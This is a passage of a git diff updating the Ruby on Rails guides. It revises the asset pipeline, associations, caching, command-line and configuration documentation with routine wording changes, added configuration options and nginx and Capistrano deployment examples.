++config.assets.initialize_on_precompile+ to false, though in that case templates +cannot see application objects or methods. *Heroku requires this to be false.* + +WARNING: If you set +config.assets.initialize_on_precompile+ to false, be sure to +test +rake assets:precompile+ locally before deploying. It may expose bugs where +your assets reference application objects or methods, since those are still +in scope in development mode regardless of the value of this flag. + +Capistrano (v2.8.0 and above) has a recipe to handle this in deployment. Add the following line to +Capfile+: <erb> -before 'deploy:symlink' do - run "cd #{release_path}; RAILS_ENV=#{rails_env} rake assets:precompile" -end +load 'deploy/assets' </erb> -If you are not precompiling your assets, and you are using the default cache file store (which is the file system), you will need to symlink +rails_root/tmp/cache/assets+ from the shared folder that is part of the Capistrano deployment structure in order to persist the cached file between deployments. +This links the folder specified in +config.assets.prefix+ to +shared/assets+. If you already use this shared folder you'll need to write your own deployment task. -TODO: Extend above task to allow for this and add task to set it up (See commits 8f0e0b6 and 704ee0df). Note: Capistrano folks are working on a recipe - update this when it available (see https://github.com/capistrano/capistrano/pull/35). +It is important that this folder is shared between deployments so that remotely cached pages that reference the old compiled assets still work for the life of the cached page. -The default matcher for compiling files will include +application.js+, +application.css+ and all files that do not end in +js+ or +css+: +NOTE. If you are precompiling your assets locally, you can use +bundle install --without assets+ on the server to avoid installing the assets gems (the gems in the assets group in the Gemfile). + +The default matcher for compiling files includes +application.js+, +application.css+ and all files that do not end in +js+ or +css+: <ruby> -[ /\w+\.(?!js|css).+/, /application.(css|js)$/ ] +[ /\w<plus>\.(?!js|css).<plus>/, /application.(css|js)$/ ] </ruby> -If you have other manifests or individual stylesheets and JavaScript files to include, you can append them to the +precompile+ array: +If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the +precompile+ array: <erb> -config.assets.precompile << ['admin.js', 'admin.css', 'swfObject.js'] +config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js'] </erb> +The rake task also generates a +manifest.yml+ that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods and avoids handing the mapping requests back to Sprockets. A typical manifest file looks like: + +<plain> +--- +rails.png: rails-bd9ad5a560b5a3a7be0808c5cd76a798.png +jquery-ui.min.js: jquery-ui-7e33882a28fc84ad0e0e47e46cbf901c.min.js +jquery.min.js: jquery-8a50feed8d29566738ad005e19fe1c2d.min.js +application.js: application-3fdab497b8fb70d20cfc5495239dfc29.js +application.css: application-8af74128f904600e41a6e39241464e03.css +</plain> + +The default location for the manifest is the root of the location specified in +config.assets.prefix+ ('/assets' by default). + +This can be changed with the +config.assets.manifest+ option. A fully specified path is required: + +<erb> +config.assets.manifest = '/path/to/some/other/location' +</erb> + +NOTE: If there are missing precompiled files in production you will get an <tt>Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError</tt> exception indicating the name of the missing file(s). + +h5. Server Configuration + Precompiled assets exist on the filesystem and are served directly by your webserver. They do not have far-future headers by default, so to get the benefit of fingerprinting you'll have to update your server configuration to add them. For Apache: @@ -318,45 +422,102 @@ For Apache: </LocationMatch> </plain> -TODO: NGINX instructions +For nginx: + +<plain> +location ~ ^/assets/ { + expires 1y; + add_header Cache-Control public; -When files are precompiled Sprockets also creates "Gzip":http://en.wikipedia.org/wiki/Gzip (.gz) version of your assets. This avoids the server having to do this for any requests; it can simply read the compressed files from disc. You must configure your server to use gzip compression and serve the compressed assets that will be stored in the public/assets folder. The following configuration options can be used: + # Some browsers still send conditional-GET requests if there's a + # Last-Modified header or an ETag header even if they haven't + # reached the expiry date sent in the Expires header. + add_header Last-Modified ""; + add_header ETag ""; + break; +} +</plain> -TODO: Apache instructions +When files are precompiled, Sprockets also creates a "gzipped":http://en.wikipedia.org/wiki/Gzip (.gz) version of your assets. Web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once Sprockets uses the maximum compression ratio, thus reducing the size of the data transfer to the minimum. One the other hand, web servers can be configured to serve compressed content directly from disk, rather than deflating non-compressed files themselves. +Nginx is able to do this automatically enabling +gzip_static+: -h3. Customizing the Pipeline +<plain> +location ~ ^/(assets)/ { + root /path/to/public; + gzip_static on; # to serve pre-gzipped version + expires max; + add_header Cache-Control public; +} +</plain> + +This directive is available if the core module that provides this feature was compiled with the web server. Ubuntu packages, even +nginx-light+ have the module compiled. Otherwise, you may need to perform a manual compilation: + +<plain> +./configure --with-http_gzip_static_module +</plain> + +If you're compiling nginx with Phusion Passenger you'll need to pass that option when prompted. + +Unfortunately, a robust configuration for Apache is possible but tricky, please Google around. + +h4. Live Compilation +In some circumstances you may wish to use live compilation. In this mode all requests for assets in the pipeline are handled by Sprockets directly. + +To enable this option set: + +<erb> +config.assets.compile = true +</erb> + +On the first request the assets are compiled and cached as outlined in development above, and the manifest names used in the helpers are altered to include the MD5 hash. + +Sprockets also sets the +Cache-Control+ HTTP header to +max-age=31536000+. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache. + +This mode uses more memory, performs poorer than the default and is not recommended. + +When deploying a production application to a system without any pre-existing JavaScript runtimes, you may want to add one to your Gemfile: + +<plain> +group :production do + gem 'therubyracer' +end +</plain> + +h3. Customizing the Pipeline h4. CSS Compression -There is currently one option for compressing CSS - YUI. This Gem extends the CSS syntax and offers minification. +There is currently one option for compressing CSS, YUI. The "YUI CSS compressor":http://developer.yahoo.com/yui/compressor/css.html provides minification. -The following line will enable YUI compression, and requires the +yui-compressor+ gem. +The following line enables YUI compression, and requires the +yui-compressor+ gem. <erb> config.assets.css_compressor = :yui </erb> -The +config.assets.compress+ must be set to +true+ to enable CSS compression +The +config.assets.compress+ must be set to +true+ to enable CSS compression. -h4. JavaScript +h4. JavaScript Compression Possible options for JavaScript compression are +:closure+, +:uglifier+ and +:yui+. These require the use of the +closure-compiler+, +uglifier+ or +yui-compressor+ gems respectively. -The default Gemfile includes "uglifier":https://github.com/lautis/uglifier. This gem wraps "UglifierJS":https://github.com/mishoo/UglifyJS (written for NodeJS) in Ruby. It compress your code by removing white spaces and other magical things like changing your +if+ and +else+ statements to ternary operators where possible. +The default Gemfile includes "uglifier":https://github.com/lautis/uglifier. This gem wraps "UglifierJS":https://github.com/mishoo/UglifyJS (written for NodeJS) in Ruby. It compresses your code by removing white space and other magical things like changing your +if+ and +else+ statements to ternary operators where possible. -The following line will invoke uglifier for JavaScript compression. +The following line invokes +uglifier+ for JavaScript compression. <erb> -config.assets.js_compressor = :uglifier +config.assets.js_compressor = :uglifier </erb> The +config.assets.compress+ must be set to +true+ to enable JavaScript compression +NOTE: You will need a "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use +uglifier+. If you are using Mac OS X or Windows you have installed a JavaScript runtime in your operating system. Check "ExecJS":https://github.com/sstephenson/execjs#readme documentation to know all supported JavaScript runtimes. + h4. Using Your Own Compressor -The compressor config settings for CSS and JavaScript will also take any Object. This object must have a +compress+ method that takes a string as the sole argument and it must return a string. +The compressor config settings for CSS and JavaScript also take any Object. This object must have a +compress+ method that takes a string as the sole argument and it must return a string. <erb> class Transformer @@ -366,7 +527,7 @@ class Transformer end </erb> -To enable this pass a +new+ Object to the config option in +application.rb+: +To enable this, pass a +new+ Object to the config option in +application.rb+: <erb> config.assets.css_compressor = Transformer.new @@ -387,21 +548,20 @@ This is a handy option if you have any existing project (pre Rails 3.1) that alr h4. X-Sendfile Headers -The X-Sendfile header is a directive to the server to ignore the response from the application, and instead serve the file specified in the headers. In production Rails (via Sprockets) does not send the asset - just the location and a zero-length response - relying on the web server to do the file serving, which is usually faster. Both Apache and nginx support this option. +The X-Sendfile header is a directive to the server to ignore the response from the application, and instead serve the file specified in the headers. This option is off by default, but can be enabled if your server supports it. When enabled, this passes responsibility for serving the file to the web server, which is faster. -The configuration is available in <tt>config/environments/production.rb</tt>. +Apache and nginx support this option which is enabled in <tt>config/environments/production.rb</tt>. <erb> -config.action_dispatch.x_sendfile_header = "X-Sendfile" # Use 'X-Accel-Redirect' for nginx +# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache +# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx </erb> -You should check that your server or hosting service actually supports this, otherwise comment it out. - -WARNING: If you are upgrading an existing application and intend to use this option, take care to paste this configuration option only into +production.rb+ (and not +application.rb+) and any other environment you define with production behaviour. +WARNING: If you are upgrading an existing application and intend to use this option, take care to paste this configuration option only into +production.rb+ (and not +application.rb+) and any other environment you define with production behavior. h3. How Caching Works -Sprockets uses the default rails cache store to cache assets in dev and production. The only difference is file names are fingerprinted and get far-future headers in production. +Sprockets uses the default Rails cache store to cache assets in development and production. TODO: Add more about changing the default store. @@ -414,3 +574,88 @@ A good example of this is the +jquery-rails+ gem which comes with Rails as the s h3. Making Your Library or Gem a Pre-Processor TODO: Registering gems on "Tilt":https://github.com/rtomayko/tilt enabling Sprockets to find them. + +h3. Upgrading from Old Versions of Rails + +There are two issues when upgrading. The first is moving the files to the new locations. See the section above for guidance on the correct locations for different file types. + +The second is updating the various environment files with the correct default options. The following changes reflect the defaults in version 3.1.0. + +In +application.rb+: + +<erb> +# Enable the asset pipeline +config.assets.enabled = true + +# Version of your assets, change this if you want to expire all your assets +config.assets.version = '1.0' + +# Change the path that assets are served from +# config.assets.prefix = "/assets" +</erb> + +In +development.rb+: + +<erb> +# Do not compress assets +config.assets.compress = false + +# Expands the lines which load the assets +config.assets.debug = true +</erb> + +And in +production.rb+: + +<erb> +# Compress JavaScripts and CSS +config.assets.compress = true + +# Choose the compressors to use +# config.assets.js_compressor = :uglifier +# config.assets.css_compressor = :yui + +# Don't fallback to assets pipeline if a precompiled asset is missed +config.assets.compile = false + +# Generate digests for assets URLs. +config.assets.digest = true + +# Defaults to Rails.root.join("public/assets") +# config.assets.manifest = YOUR_PATH + +# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added) +# config.assets.precompile += %w( search.js ) +</erb> + +There are no changes to +test.rb+. The defaults in the test environment are: +config.assets.compile+ is true and +config.assets.compress+, +config.assets.debug+ and +config.assets.digest+ are false. + +The following should also be added to +Gemfile+: + +<plain> +# Gems used only for assets and not required +# in production environments by default. +group :assets do + gem 'sass-rails', "~> 3.1.0" + gem 'coffee-rails', "~> 3.1.0" + gem 'uglifier' +end +</plain> + +If you use the +assets+ group with Bundler, please make sure that your +config/application.rb+ has the following Bundler require statement. + +<ruby> +if defined?(Bundler) + # If you precompile assets before deploying to production, use this line + Bundler.require *Rails.groups(:assets => %w(development test)) + # If you want your assets lazily compiled in production, use this line + # Bundler.require(:default, :assets, Rails.env) +end +</ruby> + +Instead of the old Rails 3.0 one + +<ruby> +# If you have a Gemfile, require the gems listed there, including any gems +# you've limited to :test, :development, or :production. +Bundler.require(:default, Rails.env) if defined?(Bundler) +</ruby> diff --git a/railties/guides/source/association_basics.textile b/railties/guides/source/association_basics.textile index 3c2497e83a..479a3c1e30 100644 --- a/railties/guides/source/association_basics.textile +++ b/railties/guides/source/association_basics.textile @@ -211,7 +211,7 @@ end h4. Choosing Between +belongs_to+ and +has_one+ -If you want to set up a 1–1 relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which? +If you want to set up a one-to-one relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which? The distinction is in where you place the foreign key (it goes on the table for the class declaring the +belongs_to+ association), but you should give some thought to the actual meaning of the data as well. The +has_one+ relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this: @@ -443,7 +443,7 @@ class CreateAssemblyPartJoinTable < ActiveRecord::Migration end </ruby> -We pass +:id => false+ to +create_table+ because that table does not represent a model. That's required for the association to work properly. If you observe any strange behaviour in a +has_and_belongs_to_many+ association like mangled models IDs, or exceptions about conflicting IDs chances are you forgot that bit. +We pass +:id => false+ to +create_table+ because that table does not represent a model. That's required for the association to work properly. If you observe any strange behavior in a +has_and_belongs_to_many+ association like mangled models IDs, or exceptions about conflicting IDs chances are you forgot that bit. h4. Controlling Association Scope @@ -566,7 +566,7 @@ The <tt>build_<em>association</em></tt> method returns a new object of the assoc h6(#belongs_to-create_association). <tt>create_<em>association</em>(attributes = {})</tt> -The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations). +The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through this object's foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. <ruby> @customer = @order.create_customer(:customer_number => 123, @@ -576,7 +576,7 @@ The <tt>create_<em>association</em></tt> method returns a new object of the asso h5. Options for +belongs_to+ -In many situations, you can use the default behavior of +belongs_to+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +belongs_to+ association. For example, an association with several options might look like this: +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +belongs_to+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: <ruby> class Order < ActiveRecord::Base @@ -671,7 +671,7 @@ WARNING: You should not specify this option on a +belongs_to+ association that i h6(#belongs_to-foreign_key). +:foreign_key+ -By convention, Rails guesses that the column used to hold the foreign key on this model is the name of the association with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column used to hold the foreign key on this model is the name of the association with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: <ruby> class Order < ActiveRecord::Base @@ -760,9 +760,9 @@ h6(#belongs_to-validate). +:validate+ If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved. -h5(#belongs_to-how_to_know_whether_theres_an_associated_object). How To Know Whether There's an Associated Object? +h5(#belongs_to-do_any_associated_objects_exist). Do Any Associated Objects Exist? -To know whether there's and associated object just check <tt><em>association</em>.nil?</tt>: +You can see if any associated objects exist by using the <tt><em>association</em>.nil?</tt> method: <ruby> if @order.customer.nil? @@ -834,7 +834,7 @@ The <tt>build_<em>association</em></tt> method returns a new object of the assoc h6(#has_one-create_association). <tt>create_<em>association</em>(attributes = {})</tt> -The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations). +The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. <ruby> @account = @supplier.create_account(:terms => "Net 30") @@ -842,7 +842,7 @@ The <tt>create_<em>association</em></tt> method returns a new object of the asso h5. Options for +has_one+ -In many situations, you can use the default behavior of +has_one+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_one+ association. For example, an association with several options might look like this: +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_one+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: <ruby> class Supplier < ActiveRecord::Base @@ -902,7 +902,7 @@ If you set the +:dependent+ option to +:destroy+, then deleting this object will h6(#has_one-foreign_key). +:foreign_key+ -By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: <ruby> class Supplier < ActiveRecord::Base @@ -954,7 +954,7 @@ The +:order+ option dictates the order in which associated objects will be recei h6(#has_one-primary_key). +:primary_key+ -By convention, Rails guesses that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. +By convention, Rails assumes that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. h6(#has_one-readonly). +:readonly+ @@ -980,9 +980,9 @@ h6(#has_one-validate). +:validate+ If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved. -h5(#has_one-how_to_know_whether_theres_an_associated_object). How To Know Whether There's an Associated Object? +h5(#has_one-do_any_associated_objects_exist). Do Any Associated Objects Exist? -To know whether there's and associated object just check <tt><em>association</em>.nil?</tt>: +You can see if any associated objects exist by using the <tt><em>association</em>.nil?</tt> method: <ruby> if @supplier.account.nil? @@ -1147,7 +1147,7 @@ The <tt><em>collection</em>.build</tt> method returns one or more new objects of h6(#has_many-collection-create). <tt><em>collection</em>.create(attributes = {})</tt> -The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object _will_ be saved (assuming that it passes any validations). +The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. <ruby> @order = @customer.orders.create(:order_date => Time.now, @@ -1156,7 +1156,7 @@ The <tt><em>collection</em>.create</tt> method returns a new object of the assoc h5. Options for +has_many+ -In many situations, you can use the default behavior for +has_many+ without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_many+ association. For example, an association with several options might look like this: +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_many+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: <ruby> class Customer < ActiveRecord::Base @@ -1262,7 +1262,7 @@ Normally Rails automatically generates the proper SQL to fetch the association m h6(#has_many-foreign_key). +:foreign_key+ -By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: <ruby> class Customer < ActiveRecord::Base @@ -1345,7 +1345,7 @@ end h6(#has_many-primary_key). +:primary_key+ -By convention, Rails guesses that the column used to hold the primary key of the association is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. +By convention, Rails assumes that the column used to hold the primary key of the association is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. h6(#has_many-readonly). +:readonly+ @@ -1551,7 +1551,7 @@ The <tt><em>collection</em>.find</tt> method finds objects within the collection :conditions => ["created_at > ?", 2.days.ago]) </ruby> -NOTE: Starting Rails 3, supplying options to +ActiveRecord::Base.find+ method is discouraged. Use <tt><em>collection</em>.where</tt> instead when you need to pass conditions. +NOTE: Beginning with Rails 3, supplying options to the +ActiveRecord::Base.find+ method is discouraged. Use <tt><em>collection</em>.where</tt> instead when you need to pass conditions. h6(#has_and_belongs_to_many-collection-where). <tt><em>collection</em>.where(...)</tt> @@ -1576,7 +1576,7 @@ The <tt><em>collection</em>.build</tt> method returns a new object of the associ h6(#has_and_belongs_to_many-create-attributes). <tt><em>collection</em>.create(attributes = {})</tt> -The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and the associated object _will_ be saved (assuming that it passes any validations). +The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. <ruby> @assembly = @part.assemblies.create( @@ -1585,7 +1585,7 @@ The <tt><em>collection</em>.create</tt> method returns a new object of the assoc h5. Options for +has_and_belongs_to_many+ -In many situations, you can use the default behavior for +has_and_belongs_to_many+ without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_and_belongs_to_many+ association. For example, an association with several options might look like this: +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_and_belongs_to_many+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: <ruby> class Parts < ActiveRecord::Base @@ -1619,7 +1619,7 @@ The +has_and_belongs_to_many+ association supports these options: h6(#has_and_belongs_to_many-association_foreign_key). +:association_foreign_key+ -By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix +_id+ added. The +:association_foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix +_id+ added. The +:association_foreign_key+ option lets you set the name of the foreign key directly: TIP: The +:foreign_key+ and +:association_foreign_key+ options are useful when setting up a many-to-many self-join. For example: @@ -1687,7 +1687,7 @@ Normally Rails automatically generates the proper SQL to fetch the association m h6(#has_and_belongs_to_many-foreign_key). +:foreign_key+ -By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: <ruby> class User < ActiveRecord::Base @@ -1855,17 +1855,8 @@ class Customer < ActiveRecord::Base end </ruby> -Extensions can refer to the internals of the association proxy using these three accessors: +Extensions can refer to the internals of the association proxy using these three attributes of the +proxy_association+ accessor: -* +proxy_owner+ returns the object that the association is a part of. -* +proxy_reflection+ returns the reflection object that describes the association. -* +proxy_target+ returns the associated object for +belongs_to+ or +has_one+, or the collection of associated objects for +has_many+ or +has_and_belongs_to_many+. - -h3. Changelog - -* April 7, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* April 19, 2009: Added +:touch+ option to +belongs_to+ associations by "Mike Gunderloy":credits.html#mgunderloy -* February 1, 2009: Added +:autosave+ option "Mike Gunderloy":credits.html#mgunderloy -* September 28, 2008: Corrected +has_many :through+ diagram, added polymorphic diagram, some reorganization by "Mike Gunderloy":credits.html#mgunderloy . First release version. -* September 22, 2008: Added diagrams, misc. cleanup by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* September 14, 2008: initial version by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) +* +proxy_association.owner+ returns the object that the association is a part of. +* +proxy_association.reflection+ returns the reflection object that describes the association. +* +proxy_association.target+ returns the associated object for +belongs_to+ or +has_one+, or the collection of associated objects for +has_many+ or +has_and_belongs_to_many+. diff --git a/railties/guides/source/caching_with_rails.textile b/railties/guides/source/caching_with_rails.textile index ae56911441..4273d0dd64 100644 --- a/railties/guides/source/caching_with_rails.textile +++ b/railties/guides/source/caching_with_rails.textile @@ -188,7 +188,7 @@ end You may notice that the actual product gets passed to the sweeper, so if we were caching the edit action for each product, we could add an expire method which specifies the page we want to expire: <ruby> - expire_action(:controller => 'products', :action => 'edit', :id => product) +expire_action(:controller => 'products', :action => 'edit', :id => product.id) </ruby> Then we add it to our controller to tell it to call the sweeper when certain actions are called. So, if we wanted to expire the cached content for the list and edit actions when the create action was called, we could do the following: @@ -403,16 +403,3 @@ end h3. Further reading * "Scaling Rails Screencasts":http://railslab.newrelic.com/scaling-rails - - -h3. Changelog - -* Feb 17, 2011: Document 3.0.0 changes to ActiveSupport::Cache -* May 02, 2009: Formatting cleanups -* April 26, 2009: Clean up typos in submitted patch -* April 1, 2009: Made a bunch of small fixes -* February 22, 2009: Beefed up the section on cache_stores -* December 27, 2008: Typo fixes -* November 23, 2008: Incremental updates with various suggested changes and formatting cleanup -* September 15, 2008: Initial version by Aditya Chadha - diff --git a/railties/guides/source/command_line.textile b/railties/guides/source/command_line.textile index b34506d4d8..f6b33d283c 100644 --- a/railties/guides/source/command_line.textile +++ b/railties/guides/source/command_line.textile @@ -325,6 +325,8 @@ h4. +rails destroy+ Think of +destroy+ as the opposite of +generate+. It'll figure out what generate did, and undo it. +You can also use the alias "d" to invoke the destroy command: <tt>rails d</tt>. + <shell> $ rails generate model Oops exists app/models/ @@ -381,19 +383,22 @@ Ruby version 1.8.7 (x86_64-linux) RubyGems version 1.3.6 Rack version 1.1 Rails version 3.1.0 +JavaScript Runtime Node.js (V8) Active Record version 3.1.0 Action Pack version 3.1.0 Active Resource version 3.1.0 Action Mailer version 3.1.0 Active Support version 3.1.0 -Middleware ActionDispatch::Static, Rack::Lock, Rack::Runtime, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::RemoteIp, Rack::Sendfile, ActionDispatch::Callbacks, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, Rack::MethodOverride, ActionDispatch::Head +Middleware ActionDispatch::Static, Rack::Lock, Rack::Runtime, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::RemoteIp, ActionDispatch::Callbacks, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, Rack::MethodOverride, ActionDispatch::Head Application root /home/foobar/commandsapp Environment development +Database adapter sqlite3 +Database schema version 20110805173523 </shell> h4. +assets+ -You can precompile the assets in <tt>app/assets</tt> using <tt>rake assets:precompile</tt> and remove compiled assets using <tt>rake assets:clean</tt>. +You can precompile the assets in <tt>app/assets</tt> using <tt>rake assets:precompile</tt> and remove those compiled assets using <tt>rake assets:clean</tt>. h4. +db+ @@ -458,13 +463,18 @@ h4. +test+ INFO: A good description of unit testing in Rails is given in "A Guide to Testing Rails Applications":testing.html -Rails comes with a test suite called Test::Unit. It is through the use of tests that Rails itself is so stable, and the slew of people working on Rails can prove that everything works as it should. - -The +test:+ namespace helps in running the different tests you will (hopefully!) write. +Rails comes with a test suite called <tt>Test::Unit</tt>. Rails owes its stability to the use of tests. The tasks available in the +test:+ namespace helps in running the different tests you will hopefully write. h4. +tmp+ -The <tt>Rails.root/tmp</tt> directory is, like the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions. The +tmp:+ namespace tasks will help you clear them if you need to if they've become overgrown, or create them in case of deletions gone awry. +The <tt>Rails.root/tmp</tt> directory is, like the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions. + +The +tmp:+ namespaced tasks will help you clear the <tt>Rails.root/tmp</tt> directory: + +* +rake tmp:cache:clear+ clears <tt>tmp/cache</tt>. +* +rake tmp:sessions:clear+ clears <tt>tmp/sessions</tt>. +* +rake tmp:sockets:clear+ clears <tt>tmp/sockets</tt>. +* +rake tmp:clear+ clears all the three: cache, sessions and sockets. h4. Miscellaneous diff --git a/railties/guides/source/configuring.textile b/railties/guides/source/configuring.textile index 7ed958be08..baf944cf8d 100644 --- a/railties/guides/source/configuring.textile +++ b/railties/guides/source/configuring.textile @@ -124,7 +124,7 @@ Rails 3.1, by default, is set up to use the +sprockets+ gem to manage assets wit * +config.assets.compress+ a flag that enables the compression of compiled assets. It is explicitly set to true in +config/production.rb+. -* +config.assets.css_compressor+ defines the CSS compressor to use. Only supported value at the moment is +:yui+, which uses the +yui-compressor+ gem. +* +config.assets.css_compressor+ defines the CSS compressor to use. It is set by default by +sass-rails+. The unique alternative value at the moment is +:yui+, which uses the +yui-compressor+ gem. * +config.assets.js_compressor+ defines the JavaScript compressor to use. Possible values are +:closure+, +:uglifier+ and +:yui+ which require the use of the +closure-compiler+, +uglifier+ or +yui-compressor+ gems respectively. @@ -134,6 +134,18 @@ Rails 3.1, by default, is set up to use the +sprockets+ gem to manage assets wit * +config.assets.prefix+ defines the prefix where assets are served from. Defaults to +/assets+. +* +config.assets.digest+ enables the use of MD5 fingerprints in asset names. Set to +true+ by default in +production.rb+. + +* +config.assets.debug+ disables the concatenation and compression of assets. Set to +false+ by default in +development.rb+. + +* +config.assets.manifest+ defines the full path to be used for the asset precompiler's manifest file. Defaults to using +config.assets.prefix+. + +* +config.assets.cache_store+ defines the cache store that Sprockets will use. The default is the Rails file store. + +* +config.assets.version+ is an option string that is used in MD5 hash generation. This can be changed to force all files to be recompiled. + +* +config.assets.compile+ is a boolean that can be used to turn on live Sprockets compilation in production. + h4. Configuring Generators @@ -167,16 +179,16 @@ h4. Configuring Middleware Every Rails application comes with a standard set of middleware which it uses in this order in the development environment: -* +Rack::SSL+ Will force every request to be under HTTPS protocol. Will be available if +config.force_ssl+ is set to +true+. +* +Rack::SSL+ forces every request to be under HTTPS protocol. Will be available if +config.force_ssl+ is set to +true+. Options passed to this can be configured by using +config.ssl_options+. * +ActionDispatch::Static+ is used to serve static assets. Disabled if +config.serve_static_assets+ is +true+. -* +Rack::Lock+ Will wrap the app in mutex so it can only be called by a single thread at a time. Only enabled if +config.action_controller.allow_concurrency+ is set to +false+, which it is by default. -* +ActiveSupport::Cache::Strategy::LocalCache+ Serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread. -* +Rack::Runtime+ Sets an +X-Runtime+ header, containing the time (in seconds) taken to execute the request. -* +Rails::Rack::Logger+ Notifies the logs that the request has began. After request is complete, flushes all the logs. -* +ActionDispatch::ShowExceptions+ Rescues any exception returned by the application and renders nice exception pages if the request is local or if +config.consider_all_requests_local+ is set to +true+. If +config.action_dispatch.show_exceptions+ is set to +false+, exceptions will be raised regardless. -* +ActionDispatch::RemoteIp+ Checks for IP spoofing attacks. Configurable with the +config.action_dispatch.ip_spoofing_check+ and +config.action_dispatch.trusted_proxies+ settings. -* +Rack::Sendfile+ Intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with +config.action_dispatch.x_sendfile_header+. -* +ActionDispatch::Callbacks+ Runs the prepare callbacks before serving the request. +* +Rack::Lock+ wraps the app in mutex so it can only be called by a single thread at a time. Only enabled if +config.action_controller.allow_concurrency+ is set to +false+, which it is by default. +* +ActiveSupport::Cache::Strategy::LocalCache+ serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread. +* +Rack::Runtime+ sets 